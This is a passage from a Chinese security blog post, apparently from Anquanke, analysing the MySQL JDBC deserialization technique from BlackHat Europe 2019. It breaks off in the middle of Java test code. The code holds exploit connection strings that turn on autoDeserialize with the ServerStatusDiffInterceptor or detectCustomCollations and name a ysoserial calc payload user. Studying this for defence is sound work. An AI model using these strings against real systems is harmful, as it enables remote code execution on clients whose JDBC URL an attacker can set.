首发安全客:https://www.anquanke.com/post/id/203086
这几天学习了BlackHat Europe 2019的议题《New Exploit Technique In Java Deserialization Attack》, 膜拜师傅们的同时,做一个简单的漏洞分析。
该漏洞需要能够控制客户端的JDBC连接串,在连接阶段即可触发,无需继续执行SQL语句。
测试代码
需要自行根据版本选择JDBC连接串,最后有基于各版本Connector连接串的总结。
public class test1 {
public static void main(String[] args) throws Exception{
String driver = "com.mysql.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc";//8.x使用
//String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc";//5.x使用
Class.forName(dr